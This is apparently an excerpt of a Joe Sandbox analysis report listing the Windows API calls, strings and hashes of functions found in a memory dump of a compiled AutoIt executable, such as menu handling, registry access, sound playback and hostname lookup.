GetMenuItemCount.USER32(?), ref: 00DCC38D
GetMenuItemID.USER32(?,00000000), ref: 00DCC3A0
GetMenuItemInfoW.USER32 ref: 00DCC3D4
GetMenuItemInfoW.USER32 ref: 00DCC41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00DCC454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00DCC489

Strings

0, xrefs: 00DCC33A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 44672ae47ab834ff7018375edc3f6f69fa7a689c963ce08618d3444edd509393
Instruction ID: 76e498c7fbef3f5f74f626a6306f54595f1f81ee8937e0754767fb26af741cc4
Opcode Fuzzy Hash: 44672ae47ab834ff7018375edc3f6f69fa7a689c963ce08618d3444edd509393
Instruction Fuzzy Hash: 0B818C712183429FD714CF14D894FABBBE9EB88714F04992EFA9997291C730E905CB72

Function 00DB731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00DB738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00DB739B
CreateCompatibleDC.GDI32(?), ref: 00DB73A7
SelectObject.GDI32(00000000,?), ref: 00DB73B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00DB7408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00DB7444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00DB7468
SelectObject.GDI32(00000006,?), ref: 00DB7470
DeleteObject.GDI32(?), ref: 00DB7479
DeleteDC.GDI32(00000006), ref: 00DB7480
ReleaseDC.USER32(00000000,?), ref: 00DB748B

Strings

(, xrefs: 00DB7410

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: ee53f01b0173c57622c716196f8c81326c534e94707e7fc58118408587e1f0f9
Instruction ID: 8e55e59d1cd71be0f42600fdcad3cc5b7da843dcd4bdea4a5f4c3144329fccf2
Opcode Fuzzy Hash: ee53f01b0173c57622c716196f8c81326c534e94707e7fc58118408587e1f0f9
Instruction Fuzzy Hash: 37513C7590430AEFCB15CFA9CC85EEEBBB9EF48710F148529F99A97311C731A9409B60

Function 00D46A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00D60957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00D46B0C,?,00008000), ref: 00D60973

Part of subcall function 00D44750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D44743,?,?,00D437AE,?), ref: 00D44770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00D46BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00D46CFA

Part of subcall function 00D4586D: _wcscpy.LIBCMT ref: 00D458A5

Part of subcall function 00D6363D: _iswctype.LIBCMT ref: 00D63645

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 00D7E421
AU3!, xrefs: 00D46B61
EA06, xrefs: 00D7E452
Unterminated string, xrefs: 00D7E7E4
Bad directive syntax error, xrefs: 00D7E79D
>>>AUTOIT SCRIPT<<<, xrefs: 00D7E496
Error opening the file, xrefs: 00D7E43D, 00D7E4B8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: ae860e9f1408dde03ac494777595aeb1abdc4041a22ace05feac28f4cd11d90e
Instruction ID: 10932bf45e664ad6ab5f80019a4e7b399f885c103e4db68dd043ba83885decf4
Opcode Fuzzy Hash: ae860e9f1408dde03ac494777595aeb1abdc4041a22ace05feac28f4cd11d90e
Instruction Fuzzy Hash: 6C027B715083419FCB14EF24C881AAFBBE5EF99314F14491DF49A972A2EB30D949CB72

Function 00DA2D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA2D50
GetMenuItemInfoW.USER32 ref: 00DA2DDD
GetMenuItemCount.USER32(00E05890), ref: 00DA2E66
DeleteMenu.USER32 ref: 00DA2EF6
DeleteMenu.USER32 ref: 00DA2EFE
DeleteMenu.USER32 ref: 00DA2F06
DeleteMenu.USER32 ref: 00DA2F0E
GetMenuItemCount.USER32(00E05890), ref: 00DA2F16
SetMenuItemInfoW.USER32 ref: 00DA2F4C
GetCursorPos.USER32(?), ref: 00DA2F56
SetForegroundWindow.USER32(00000000), ref: 00DA2F5F
TrackPopupMenuEx.USER32 ref: 00DA2F72
PostMessageW.USER32 ref: 00DA2F7E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 8ced27616811dc651e74f5a9ec9dbb25e04479a76946bc9be72591256dc32384
Instruction ID: 371f30247aaa3f6fc481e741e469b06abaa3498552226e49d3f0db405aaa8c42
Opcode Fuzzy Hash: 8ced27616811dc651e74f5a9ec9dbb25e04479a76946bc9be72591256dc32384
Instruction Fuzzy Hash: 2171F370640206BEEB218F5ADC85FBABF65FF06324F140216F615A61E1C7719C60DBB1

Function 00D977DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

_memset.LIBCMT ref: 00D9786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00D978A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00D978BC
RegOpenKeyExW.ADVAPI32 ref: 00D978D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 00D97902
CLSIDFromString.OLE32(?,?), ref: 00D9792A
RegCloseKey.ADVAPI32(?), ref: 00D97935
RegCloseKey.ADVAPI32(?), ref: 00D9793A

Strings

\CLSID, xrefs: 00D97822
\IPC$, xrefs: 00D97882
SOFTWARE\Classes\, xrefs: 00D9780C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 4c726430489a7ffed27e9dfb20c113b4792f7974514bac0c81dfaa75e43a999a
Instruction ID: 3a8432b23984e473e19c31bcca9342cea02d28521d233298459f8ce84d2c0f22
Opcode Fuzzy Hash: 4c726430489a7ffed27e9dfb20c113b4792f7974514bac0c81dfaa75e43a999a
Instruction Fuzzy Hash: 3D41D472C24629ABCF11EBA4DC85EEDB779FF04750B454169E905A2261EB305E08CAB0

Function 00DC0E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DC0E31

Strings

HKEY_CLASSES_ROOT, xrefs: 00DC0EC4
HKLM, xrefs: 00DC0EAF
HKU, xrefs: 00DC0F43
HKCC, xrefs: 00DC0EFF
HKCU, xrefs: 00DC0F21
HKEY_CURRENT_USER, xrefs: 00DC0F10
HKCR, xrefs: 00DC0ED9
HKEY_USERS, xrefs: 00DC0F32
HKEY_CURRENT_CONFIG, xrefs: 00DC0EEE
HKEY_LOCAL_MACHINE, xrefs: 00DC0E9A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 2001b579bd30575df746f74370caaae45c1e79b3cba82b665ad20d1b2f3a0460
Instruction ID: 1693abbeedc7157d1c518821dafd199b5f208fb724efbd0ff3da2fbfce3b7bc2
Opcode Fuzzy Hash: 2001b579bd30575df746f74370caaae45c1e79b3cba82b665ad20d1b2f3a0460
Instruction Fuzzy Hash: 6A41583154024ACBCF10EF50D865BEF3B64EF21344F594528FD951B2A2DB30A99ACBB0

Function 00D9F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00D7E2A0,00000010,?,Bad directive syntax error,00DCF910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00D9F7C2
LoadStringW.USER32(00000000,?,00D7E2A0,00000010), ref: 00D9F7C9

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

_wprintf.LIBCMT ref: 00D9F7FC
__swprintf.LIBCMT ref: 00D9F81E
MessageBoxW.USER32 ref: 00D9F88D

Strings

., xrefs: 00D9F873
Line %d:, xrefs: 00D9F818
Error: , xrefs: 00D9F85B
%s (%d) : ==> %s.: %s %s, xrefs: 00D9F7F7
Line %d (File "%s"):, xrefs: 00D9F833

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: caa711ada5a1c798bb9b0a8201b9c6f8136dc64ed74cc16e81575b16ea2a5152
Instruction ID: c07044eecadd40090f18ca2e6d3e607a20c910d2d3a53682b4c7961bc49747c5
Opcode Fuzzy Hash: caa711ada5a1c798bb9b0a8201b9c6f8136dc64ed74cc16e81575b16ea2a5152
Instruction Fuzzy Hash: F221087294021EAFCF11AF90CC4AEEE7779FF18300F044465B515A61A2EB71A658DB71

Function 00DA52C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

Part of subcall function 00D47924: _memmove.LIBCMT ref: 00D479AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00DA5330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00DA5346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DA5357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00DA5369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00DA537A

Strings

status PlayMe mode, xrefs: 00DA532B
close PlayMe, xrefs: 00DA5341, 00DA536E
play PlayMe wait, xrefs: 00DA5364
open , xrefs: 00DA52DF
play PlayMe, xrefs: 00DA5375
alias PlayMe, xrefs: 00DA5309

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: dd649cfff64b4a654f89808b9ea046efa57385c8ecaea3dc2b9685a38c6f24c3
Instruction ID: 0065f1765f2f3761642bbb8454557e3aff15c7bf7fc0b900967e321f8eda1b5f
Opcode Fuzzy Hash: dd649cfff64b4a654f89808b9ea046efa57385c8ecaea3dc2b9685a38c6f24c3
Instruction Fuzzy Hash: 0911633195015E7EDB20B761DC49EFFAA7CEBD1B40F0404197511920D5DEA01908C9B1

Function 00DA46B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00DA46D2
gethostname.WSOCK32(?,00000100), ref: 00DA46EC
gethostbyname.WSOCK32(?), ref: 00DA46F9
_wcscpy.LIBCMT ref: 00DA4721
_memmove.LIBCMT ref: 00DA4734
inet_ntoa.WSOCK32(?), ref: 00DA473F
_strcat.LIBCMT ref: 00DA474D
_wcscpy.LIBCMT ref: 00DA4764
WSACleanup.WSOCK32 ref: 00DA4772
_wcscpy.LIBCMT ref: 00DA4780

Strings

0.0.0.0, xrefs: 00DA471B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: f0861cea4ee491d028c3ff05c767dfc7c921444efca47e2cad2b62efdd40e446
Instruction ID: b651b56931a22957dfe3246aca87723afdcd91433ceb59b6e15c06738f4a8a76
Opcode Fuzzy Hash: f0861cea4ee491d028c3ff05c767dfc7c921444efca47e2cad2b62efdd40e446
Instruction Fuzzy Hash: EC11D571500215AFCB10AB309C46EEA77BCEF43721F0441B6F445D6191EFB1C9818AB1

Function 00D43015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32 ref: 00D43074
RegisterClassExW.USER32(00000030), ref: 00D4309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D430AF
InitCommonControlsEx.COMCTL32(?), ref: 00D430CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D430DC
LoadIconW.USER32 ref: 00D430F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D43101

Strings

AutoIt v3 GUI, xrefs: 00D43090
TaskbarCreated, xrefs: 00D430A4
+, xrefs: 00D4305D
0, xrefs: 00D43056

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 3193b14cdea9cece94cd2293cf5924ff606853b8aa171bfa905033358c0c4f47
Instruction ID: d67b05d1cbf980e6dfd8449ef5092c727f68d0365ad7ad4067a2526325ac0a80
Opcode Fuzzy Hash: 3193b14cdea9cece94cd2293cf5924ff606853b8aa171bfa905033358c0c4f47
Instruction Fuzzy Hash: 2B312B7284134A9FDB51CFA4D889BCEBBF1FB09310F14452EE580E62A0D3B60589CF61

Function 00DA4F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00DA4F7A

Part of subcall function 00D6049F: timeGetTime.WINMM ref: 00D604A3

Sleep.KERNEL32(0000000A), ref: 00DA4FA6
EnumThreadWindows.USER32 ref: 00DA4FCA
FindWindowExW.USER32 ref: 00DA4FEC
SetActiveWindow.USER32 ref: 00DA500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00DA5019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00DA5038
Sleep.KERNEL32(000000FA), ref: 00DA5043
IsWindow.USER32 ref: 00DA504F
EndDialog.USER32 ref: 00DA5060

Strings

BUTTON, xrefs: 00DA4FDE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: bea8bc89ebeafde76e2d7bd6392dd3d9b7f22f8684af164783a9cc3428539d4c
Instruction ID: 39f4515a68f78be731d8b1e98bfe562e63530b46d00061b5425af204da3f7662
Opcode Fuzzy Hash: bea8bc89ebeafde76e2d7bd6392dd3d9b7f22f8684af164783a9cc3428539d4c
Instruction Fuzzy Hash: 0B218E71244706AFE7105F21EC89F663BBBEB46745F181424F201D62B5CBB28DA49B72

Function 00D43041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32 ref: 00D43074
RegisterClassExW.USER32(00000030), ref: 00D4309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D430AF
InitCommonControlsEx.COMCTL32(?), ref: 00D430CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D430DC
LoadIconW.USER32 ref: 00D430F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D43101

Strings

AutoIt v3 GUI, xrefs: 00D43090
TaskbarCreated, xrefs: 00D430A4
+, xrefs: 00D4305D
0, xrefs: 00D43056

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 3ca2158c5370d53e12f8745a43db4cc3e1cbc6b38608f468efda476f9935ab5f
Instruction ID: 48097ee1283891e32fec36e00ba0087c01191ebdfb4aee6cb805e5fe4e40b627
Opcode Fuzzy Hash: 3ca2158c5370d53e12f8745a43db4cc3e1cbc6b38608f468efda476f9935ab5f
Instruction Fuzzy Hash: 3B21CDB290171AAFDB00DF95E849BDE7BF5FB08700F10812AF911E63A0D7B245848FA5

Function 00DAD58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

CoInitialize.OLE32(00000000), ref: 00DAD5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00DAD67D
SHGetDesktopFolder.SHELL32(?), ref: 00DAD691
CoCreateInstance.OLE32(00DD2D7C,00000000,00000001,00DF8C1C,?), ref: 00DAD6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00DAD74C
CoTaskMemFree.OLE32(?), ref: 00DAD7A4
_memset.LIBCMT ref: 00DAD7E1
SHBrowseForFolderW.SHELL32(?), ref: 00DAD81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00DAD840
CoTaskMemFree.OLE32(00000000), ref: 00DAD847
CoTaskMemFree.OLE32(00000000), ref: 00DAD87E
CoUninitialize.OLE32 ref: 00DAD880

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 771810bdec8fefc7b2f4a16f2bbfdc3c9c2da75da627ded31b3cc67e33a3994c
Instruction ID: a08f1ebf46c486bdd817dfe17eb49e34cff7029e93e105f72fc5f5d65575f215
Opcode Fuzzy Hash: 771810bdec8fefc7b2f4a16f2bbfdc3c9c2da75da627ded31b3cc67e33a3994c
Instruction Fuzzy Hash: 5BB1FC75A00209AFDB14DFA4C894DAEBBB9FF49314F148469F90ADB261DB30ED45CB60

Function 00D9C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00D9C283
GetWindowRect.USER32(00000000,?), ref: 00D9C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00D9C2F3
GetDlgItem.USER32(?,00000002), ref: 00D9C2FE
GetWindowRect.USER32(00000000,?), ref: 00D9C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00D9C364
GetDlgItem.USER32(?,000003E9), ref: 00D9C372
GetWindowRect.USER32(00000000,?), ref: 00D9C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00D9C3C6
GetDlgItem.USER32(?,000003EA), ref: 00D9C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00D9C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 00D9C3FE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 16643ddd463b24408814299e9074c7cc95dc007c625de9eb7475793beaa5f7d8
